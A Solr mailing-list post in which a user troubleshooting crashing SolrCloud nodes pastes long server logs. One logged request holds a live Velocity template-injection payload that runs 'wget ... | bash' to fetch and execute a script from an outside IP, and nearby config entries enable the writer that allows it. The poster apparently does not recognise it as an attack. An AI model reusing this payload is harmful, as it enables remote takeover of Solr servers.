You are viewing a plain text version of this content. The canonical link for it is here.
Posted to solr-user@lucene.apache.org by Victor Kretzer <Vi...@gdcit.com> on 2020/12/21 17:09:38 UTC
SolrCloud keeps crashing
My setup:
3 SolrCloud 6.6.6 nodes and 3 zookeeper 3.4.14 nodes running on 3 Azure Ubuntu 18.04 LTS VMs (1 solr/1 zk per machine).
My issue:
Every few days (1-3 days usually) I come on to find 2 of me 3 nodes down. I'm looking at the logs and not seeing an out of memory error. I do see in the solr_gc.logs that the gc is running more and more frequently. I also see some illegal type errors in the solr logs. But I'm not sure what the actual cause of the crash is and my understanding of garbage collection is rudimentary, at best.
Is there an obvious cause in the logs that I'm not understanding or do I need to turn to some other resource to trouble these issues?
Below is part of my logs. I can include more if helpful but they are very long. (>10k lines for solr.log, >53k lines for the gc.log). Please let me know if there is any additional information I can provide and thank you in advance for your help.
*******************************************
solr.log
*******************************************
2020-12-20 08:49:02.802 ERROR (qtp401424608-8936) [c:sitecore_submittals_index_sec s:shard1 r:core_node1 x:sitecore_submittals_index_sec_shard1_replica2] o.a.s.s.HttpSolrCall null:org.apache.velocity.exception.MethodInvocationException: Invocation of method 'toChars' in class java.lang.Class threw exception java.lang.IllegalArgumentException at custom.vm[line 1, column 376]
at org.apache.velocity.runtime.parser.node.ASTMethod.handleInvocationException(ASTMethod.java:243)
at org.apache.velocity.runtime.parser.node.ASTMethod.execute(ASTMethod.java:187)
at org.apache.velocity.runtime.parser.node.ASTReference.execute(ASTReference.java:280)
at org.apache.velocity.runtime.parser.node.ASTReference.value(ASTReference.java:567)
at org.apache.velocity.runtime.parser.node.ASTMethod.execute(ASTMethod.java:151)
at org.apache.velocity.runtime.parser.node.ASTReference.execute(ASTReference.java:280)
at org.apache.velocity.runtime.parser.node.ASTReference.render(ASTReference.java:369)
at org.apache.velocity.runtime.parser.node.ASTBlock.render(ASTBlock.java:72)
at org.apache.velocity.runtime.directive.Foreach.render(Foreach.java:420)
at org.apache.velocity.runtime.parser.node.ASTDirective.render(ASTDirective.java:207)
at org.apache.velocity.runtime.parser.node.SimpleNode.render(SimpleNode.java:342)
at org.apache.velocity.Template.merge(Template.java:356)
at org.apache.velocity.Template.merge(Template.java:260)
at org.apache.solr.response.VelocityResponseWriter.write(VelocityResponseWriter.java:169)
at org.apache.solr.response.QueryResponseWriterUtil.writeQueryResponse(QueryResponseWriterUtil.java:65)
at org.apache.solr.servlet.HttpSolrCall.writeResponse(HttpSolrCall.java:810)
at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:539)
at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:361)
at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:305)
at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1691)
at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:582)
at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)
at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:548)
at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:226)
at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1180)
at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:512)
at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:185)
at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1112)
at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)
at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:213)
at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:119)
at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:134)
at org.eclipse.jetty.rewrite.handler.RewriteHandler.handle(RewriteHandler.java:335)
at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:134)
at org.eclipse.jetty.server.Server.handle(Server.java:534)
at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:320)
at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:251)
at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:273)
at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:95)
at org.eclipse.jetty.io.SelectChannelEndPoint$2.run(SelectChannelEndPoint.java:93)
at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.executeProduceConsume(ExecuteProduceConsume.java:303)
at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.produceConsume(ExecuteProduceConsume.java:148)
at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.run(ExecuteProduceConsume.java:136)
at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:671)
at org.eclipse.jetty.util.thread.QueuedThreadPool$2.run(QueuedThreadPool.java:589)
at java.lang.Thread.run(Thread.java:748)
Caused by: java.lang.IllegalArgumentException
at java.lang.Character.toChars(Character.java:5190)
at sun.reflect.GeneratedMethodAccessor28.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.apache.velocity.util.introspection.UberspectImpl$VelMethodImpl.doInvoke(UberspectImpl.java:395)
at org.apache.velocity.util.introspection.UberspectImpl$VelMethodImpl.invoke(UberspectImpl.java:384)
at org.apache.velocity.runtime.parser.node.ASTMethod.execute(ASTMethod.java:173)
... 44 more
2020-12-20 08:49:07.025 ERROR (qtp401424608-8936) [c:sitecore_submittals_index_sec s:shard1 r:core_node1 x:sitecore_submittals_index_sec_shard1_replica2] o.a.s.s.HttpSolrCall null:org.apache.velocity.exception.MethodInvocationException: Invocation of method 'toChars' in class java.lang.Class threw exception java.lang.IllegalArgumentException at custom.vm[line 1, column 376]
at org.apache.velocity.runtime.parser.node.ASTMethod.handleInvocationException(ASTMethod.java:243)
at org.apache.velocity.runtime.parser.node.ASTMethod.execute(ASTMethod.java:187)
at org.apache.velocity.runtime.parser.node.ASTReference.execute(ASTReference.java:280)
at org.apache.velocity.runtime.parser.node.ASTReference.value(ASTReference.java:567)
at org.apache.velocity.runtime.parser.node.ASTMethod.execute(ASTMethod.java:151)
at org.apache.velocity.runtime.parser.node.ASTReference.execute(ASTReference.java:280)
at org.apache.velocity.runtime.parser.node.ASTReference.render(ASTReference.java:369)
at org.apache.velocity.runtime.parser.node.ASTBlock.render(ASTBlock.java:72)
at org.apache.velocity.runtime.directive.Foreach.render(Foreach.java:420)
at org.apache.velocity.runtime.parser.node.ASTDirective.render(ASTDirective.java:207)
at org.apache.velocity.runtime.parser.node.SimpleNode.render(SimpleNode.java:342)
at org.apache.velocity.Template.merge(Template.java:356)
at org.apache.velocity.Template.merge(Template.java:260)
at org.apache.solr.response.VelocityResponseWriter.write(VelocityResponseWriter.java:169)
at org.apache.solr.response.QueryResponseWriterUtil.writeQueryResponse(QueryResponseWriterUtil.java:65)
at org.apache.solr.servlet.HttpSolrCall.writeResponse(HttpSolrCall.java:810)
at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:539)
at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:361)
at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:305)
at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1691)
at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:582)
at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)
at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:548)
at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:226)
at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1180)
at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:512)
at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:185)
at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1112)
at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)
at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:213)
at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:119)
at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:134)
at org.eclipse.jetty.rewrite.handler.RewriteHandler.handle(RewriteHandler.java:335)
at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:134)
at org.eclipse.jetty.server.Server.handle(Server.java:534)
at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:320)
at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:251)
at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:273)
at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:95)
at org.eclipse.jetty.io.SelectChannelEndPoint$2.run(SelectChannelEndPoint.java:93)
at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.executeProduceConsume(ExecuteProduceConsume.java:303)
at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.produceConsume(ExecuteProduceConsume.java:148)
at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.run(ExecuteProduceConsume.java:136)
at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:671)
at org.eclipse.jetty.util.thread.QueuedThreadPool$2.run(QueuedThreadPool.java:589)
at java.lang.Thread.run(Thread.java:748)
Caused by: java.lang.IllegalArgumentException
at java.lang.Character.toChars(Character.java:5190)
at sun.reflect.GeneratedMethodAccessor28.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.apache.velocity.util.introspection.UberspectImpl$VelMethodImpl.doInvoke(UberspectImpl.java:395)
at org.apache.velocity.util.introspection.UberspectImpl$VelMethodImpl.invoke(UberspectImpl.java:384)
at org.apache.velocity.runtime.parser.node.ASTMethod.execute(ASTMethod.java:173)
... 44 more
2020-12-20 08:49:07.028 ERROR (qtp401424608-8687) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.RequestHandlerBase org.apache.solr.common.SolrException: undefined field _text_
at org.apache.solr.schema.IndexSchema.getDynamicFieldType(IndexSchema.java:1328)
at org.apache.solr.schema.IndexSchema$SolrQueryAnalyzer.getWrappedAnalyzer(IndexSchema.java:455)
at org.apache.lucene.analysis.DelegatingAnalyzerWrapper$DelegatingReuseStrategy.getReusableComponents(DelegatingAnalyzerWrapper.java:84)
at org.apache.lucene.analysis.Analyzer.tokenStream(Analyzer.java:191)
at org.apache.lucene.util.QueryBuilder.createFieldQuery(QueryBuilder.java:241)
at org.apache.solr.parser.SolrQueryParserBase.newFieldQuery(SolrQueryParserBase.java:444)
at org.apache.solr.parser.QueryParser.newFieldQuery(QueryParser.java:61)
at org.apache.solr.parser.SolrQueryParserBase.getFieldQuery(SolrQueryParserBase.java:970)
at org.apache.solr.parser.SolrQueryParserBase.handleBareTokenQuery(SolrQueryParserBase.java:697)
at org.apache.solr.parser.QueryParser.Term(QueryParser.java:420)
at org.apache.solr.parser.QueryParser.Clause(QueryParser.java:277)
at org.apache.solr.parser.QueryParser.Query(QueryParser.java:161)
at org.apache.solr.parser.QueryParser.TopLevelQuery(QueryParser.java:130)
at org.apache.solr.parser.SolrQueryParserBase.parse(SolrQueryParserBase.java:211)
at org.apache.solr.search.LuceneQParser.parse(LuceneQParser.java:53)
at org.apache.solr.search.QParser.getQuery(QParser.java:168)
at org.apache.solr.handler.component.QueryComponent.prepare(QueryComponent.java:161)
at org.apache.solr.handler.component.SearchHandler.handleRequestBody(SearchHandler.java:270)
at org.apache.solr.handler.RequestHandlerBase.handleRequest(RequestHandlerBase.java:173)
at org.apache.solr.core.SolrCore.execute(SolrCore.java:2477)
at org.apache.solr.servlet.HttpSolrCall.execute(HttpSolrCall.java:724)
at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:530)
at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:361)
at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:305)
at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1691)
at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:582)
at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)
at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:548)
at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:226)
at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1180)
at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:512)
at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:185)
at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1112)
at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)
at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:213)
at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:119)
at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:134)
at org.eclipse.jetty.rewrite.handler.RewriteHandler.handle(RewriteHandler.java:335)
at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:134)
at org.eclipse.jetty.server.Server.handle(Server.java:534)
at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:320)
at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:251)
at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:273)
at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:95)
at org.eclipse.jetty.io.SelectChannelEndPoint$2.run(SelectChannelEndPoint.java:93)
at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.executeProduceConsume(ExecuteProduceConsume.java:303)
at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.produceConsume(ExecuteProduceConsume.java:148)
at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.run(ExecuteProduceConsume.java:136)
at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:671)
at org.eclipse.jetty.util.thread.QueuedThreadPool$2.run(QueuedThreadPool.java:589)
at java.lang.Thread.run(Thread.java:748)
2020-12-20 08:49:07.028 INFO (qtp401424608-8687) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.S.Request [sitecore_submittals_index_shard1_replica3] webapp=/solr path=/select params={q=1&v.template=custom&v.template.custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec($str.valueOf('bash,-c,wget+-q+-O+-+http://193.122.159.179/f.sh+|bash').split(",")))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end&wt=velocity} status=400 QTime=1
2020-12-20 08:49:07.029 INFO (qtp401424608-8687) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.PluginBag Going to create a new queryResponseWriter with {type = queryResponseWriter,name = velocity,class = solr.VelocityResponseWriter,attributes = {startup=lazy, name=velocity, class=solr.VelocityResponseWriter, template.base.dir=, solr.resource.loader.enabled=true, params.resource.loader.enabled=true},args = {startup=lazy,template.base.dir=,solr.resource.loader.enabled=true,params.resource.loader.enabled=true}}
2020-12-20 08:49:11.464 ERROR (qtp401424608-8687) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.HttpSolrCall null:org.apache.velocity.exception.MethodInvocationException: Invocation of method 'toChars' in class java.lang.Class threw exception java.lang.IllegalArgumentException at custom.vm[line 1, column 376]
at org.apache.velocity.runtime.parser.node.ASTMethod.handleInvocationException(ASTMethod.java:243)
at org.apache.velocity.runtime.parser.node.ASTMethod.execute(ASTMethod.java:187)
at org.apache.velocity.runtime.parser.node.ASTReference.execute(ASTReference.java:280)
at org.apache.velocity.runtime.parser.node.ASTReference.value(ASTReference.java:567)
at org.apache.velocity.runtime.parser.node.ASTMethod.execute(ASTMethod.java:151)
at org.apache.velocity.runtime.parser.node.ASTReference.execute(ASTReference.java:280)
at org.apache.velocity.runtime.parser.node.ASTReference.render(ASTReference.java:369)
at org.apache.velocity.runtime.parser.node.ASTBlock.render(ASTBlock.java:72)
at org.apache.velocity.runtime.directive.Foreach.render(Foreach.java:420)
at org.apache.velocity.runtime.parser.node.ASTDirective.render(ASTDirective.java:207)
at org.apache.velocity.runtime.parser.node.SimpleNode.render(SimpleNode.java:342)
at org.apache.velocity.Template.merge(Template.java:356)
at org.apache.velocity.Template.merge(Template.java:260)
at org.apache.solr.response.VelocityResponseWriter.write(VelocityResponseWriter.java:169)
at org.apache.solr.response.QueryResponseWriterUtil.writeQueryResponse(QueryResponseWriterUtil.java:65)
at org.apache.solr.servlet.HttpSolrCall.writeResponse(HttpSolrCall.java:810)
at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:539)
at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:361)
at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:305)
at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1691)
at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:582)
at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)
at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:548)
at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:226)
at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1180)
at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:512)
at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:185)
at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1112)
at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)
at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:213)
at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:119)
at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:134)
at org.eclipse.jetty.rewrite.handler.RewriteHandler.handle(RewriteHandler.java:335)
at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:134)
at org.eclipse.jetty.server.Server.handle(Server.java:534)
at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:320)
at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:251)
at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:273)
at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:95)
at org.eclipse.jetty.io.SelectChannelEndPoint$2.run(SelectChannelEndPoint.java:93)
at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.executeProduceConsume(ExecuteProduceConsume.java:303)
at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.produceConsume(ExecuteProduceConsume.java:148)
at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.run(ExecuteProduceConsume.java:136)
at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:671)
at org.eclipse.jetty.util.thread.QueuedThreadPool$2.run(QueuedThreadPool.java:589)
at java.lang.Thread.run(Thread.java:748)
Caused by: java.lang.IllegalArgumentException
at java.lang.Character.toChars(Character.java:5190)
at sun.reflect.GeneratedMethodAccessor28.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.apache.velocity.util.introspection.UberspectImpl$VelMethodImpl.doInvoke(UberspectImpl.java:395)
at org.apache.velocity.util.introspection.UberspectImpl$VelMethodImpl.invoke(UberspectImpl.java:384)
at org.apache.velocity.runtime.parser.node.ASTMethod.execute(ASTMethod.java:173)
... 44 more
2020-12-20 08:49:15.692 ERROR (qtp401424608-8687) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.HttpSolrCall null:org.apache.velocity.exception.MethodInvocationException: Invocation of method 'toChars' in class java.lang.Class threw exception java.lang.IllegalArgumentException at custom.vm[line 1, column 376]
at org.apache.velocity.runtime.parser.node.ASTMethod.handleInvocationException(ASTMethod.java:243)
at org.apache.velocity.runtime.parser.node.ASTMethod.execute(ASTMethod.java:187)
at org.apache.velocity.runtime.parser.node.ASTReference.execute(ASTReference.java:280)
at org.apache.velocity.runtime.parser.node.ASTReference.value(ASTReference.java:567)
at org.apache.velocity.runtime.parser.node.ASTMethod.execute(ASTMethod.java:151)
at org.apache.velocity.runtime.parser.node.ASTReference.execute(ASTReference.java:280)
at org.apache.velocity.runtime.parser.node.ASTReference.render(ASTReference.java:369)
at org.apache.velocity.runtime.parser.node.ASTBlock.render(ASTBlock.java:72)
at org.apache.velocity.runtime.directive.Foreach.render(Foreach.java:420)
at org.apache.velocity.runtime.parser.node.ASTDirective.render(ASTDirective.java:207)
at org.apache.velocity.runtime.parser.node.SimpleNode.render(SimpleNode.java:342)
at org.apache.velocity.Template.merge(Template.java:356)
at org.apache.velocity.Template.merge(Template.java:260)
at org.apache.solr.response.VelocityResponseWriter.write(VelocityResponseWriter.java:169)
at org.apache.solr.response.QueryResponseWriterUtil.writeQueryResponse(QueryResponseWriterUtil.java:65)
at org.apache.solr.servlet.HttpSolrCall.writeResponse(HttpSolrCall.java:810)
at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:539)
at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:361)
at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:305)
at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1691)
at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:582)
at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)
at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:548)
at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:226)
at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1180)
at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:512)
at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:185)
at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1112)
at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)
at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:213)
at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:119)
at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:134)
at org.eclipse.jetty.rewrite.handler.RewriteHandler.handle(RewriteHandler.java:335)
at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:134)
at org.eclipse.jetty.server.Server.handle(Server.java:534)
at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:320)
at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:251)
at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:273)
at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:95)
at org.eclipse.jetty.io.SelectChannelEndPoint$2.run(SelectChannelEndPoint.java:93)
at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.executeProduceConsume(ExecuteProduceConsume.java:303)
at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.produceConsume(ExecuteProduceConsume.java:148)
at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.run(ExecuteProduceConsume.java:136)
at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:671)
at org.eclipse.jetty.util.thread.QueuedThreadPool$2.run(QueuedThreadPool.java:589)
at java.lang.Thread.run(Thread.java:748)
Caused by: java.lang.IllegalArgumentException
at java.lang.Character.toChars(Character.java:5190)
at sun.reflect.GeneratedMethodAccessor28.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.apache.velocity.util.introspection.UberspectImpl$VelMethodImpl.doInvoke(UberspectImpl.java:395)
at org.apache.velocity.util.introspection.UberspectImpl$VelMethodImpl.invoke(UberspectImpl.java:384)
at org.apache.velocity.runtime.parser.node.ASTMethod.execute(ASTMethod.java:173)
... 44 more
2020-12-20 08:49:15.712 INFO (qtp401424608-8194) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.ZkController Persisted config data to node /configs/sitecore/configoverlay.json
2020-12-20 08:49:15.719 INFO (qtp401424608-8194) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Executed config commands successfully and persisted to ZK [{"update-queryresponsewriter":{
"startup":"lazy",
"name":"velocity",
"class":"solr.VelocityResponseWriter",
"template.base.dir":"",
"solr.resource.loader.enabled":"true",
"params.resource.loader.enabled":"true"}}]
2020-12-20 08:49:15.719 INFO (qtp401424608-8194) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Waiting up to 30 secs for 2 replicas to set the property overlay to be of version 865 for collection sitecore_submittals_index
2020-12-20 08:49:15.720 INFO (solrHandlerExecutor-11087-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Time elapsed : 0 secs, maxWait 30
2020-12-20 08:49:15.720 INFO (Thread-2161) [ ] o.a.s.c.SolrCore config update listener called for core sitecore_submittals_index_shard1_replica3
2020-12-20 08:49:15.720 INFO (Thread-2162) [ ] o.a.s.c.SolrCore config update listener called for core sitecore_submittals_index_shard1_replica3
2020-12-20 08:49:15.721 INFO (solrHandlerExecutor-11087-thread-2-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Time elapsed : 0 secs, maxWait 30
2020-12-20 08:49:15.721 INFO (Thread-2161) [ ] o.a.s.c.SolrCore core reload sitecore_submittals_index_shard1_replica3
2020-12-20 08:49:15.721 INFO (Thread-2162) [ ] o.a.s.c.SolrCore core reload sitecore_submittals_index_shard1_replica3
2020-12-20 08:49:15.721 INFO (Thread-2162) [ ] o.a.s.c.SolrCore Another reload is in progress. Not doing anything.
2020-12-20 08:49:15.721 INFO (Thread-2162) [ ] o.a.s.c.SolrCore config update listener called for core sitecore_company_index_shard1_replica1
2020-12-20 08:49:15.722 INFO (Thread-2162) [ ] o.a.s.c.SolrCore core reload sitecore_company_index_shard1_replica1
2020-12-20 08:49:15.731 INFO (Thread-2161) [ ] o.a.s.c.RequestParams conf resource params.json loaded . version : 0
2020-12-20 08:49:15.731 INFO (Thread-2161) [ ] o.a.s.c.RequestParams request params refreshed to version 0
2020-12-20 08:49:15.731 INFO (Thread-2162) [ ] o.a.s.c.RequestParams conf resource params.json loaded . version : 0
2020-12-20 08:49:15.731 INFO (Thread-2162) [ ] o.a.s.c.RequestParams request params refreshed to version 0
2020-12-20 08:49:15.732 INFO (Thread-2161) [ ] o.a.s.c.SolrResourceLoader [sitecore_submittals_index_shard1_replica3] Added 53 libs to classloader, from paths: [/opt/solr/contrib/clustering/lib, /opt/solr/contrib/extraction/lib, /opt/solr/contrib/langid/lib, /opt/solr/contrib/velocity/lib, /opt/solr/dist]
2020-12-20 08:49:15.733 INFO (Thread-2162) [ ] o.a.s.c.SolrResourceLoader [sitecore_company_index_shard1_replica1] Added 53 libs to classloader, from paths: [/opt/solr/contrib/clustering/lib, /opt/solr/contrib/extraction/lib, /opt/solr/contrib/langid/lib, /opt/solr/contrib/velocity/lib, /opt/solr/dist]
2020-12-20 08:49:15.768 INFO (Thread-2161) [ ] o.a.s.c.SolrConfig Using Lucene MatchVersion: 6.6.6
2020-12-20 08:49:15.782 INFO (Thread-2162) [ ] o.a.s.c.SolrConfig Using Lucene MatchVersion: 6.6.6
2020-12-20 08:49:15.804 INFO (Thread-2161) [ ] o.a.s.s.IndexSchema [sitecore_submittals_index_shard1_replica3] Schema name=example-basic
2020-12-20 08:49:15.813 INFO (Thread-2162) [ ] o.a.s.s.IndexSchema [sitecore_company_index_shard1_replica1] Schema name=example-basic
2020-12-20 08:49:15.823 INFO (qtp401424608-8459) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler expecting overlay version 865 but my version is 864
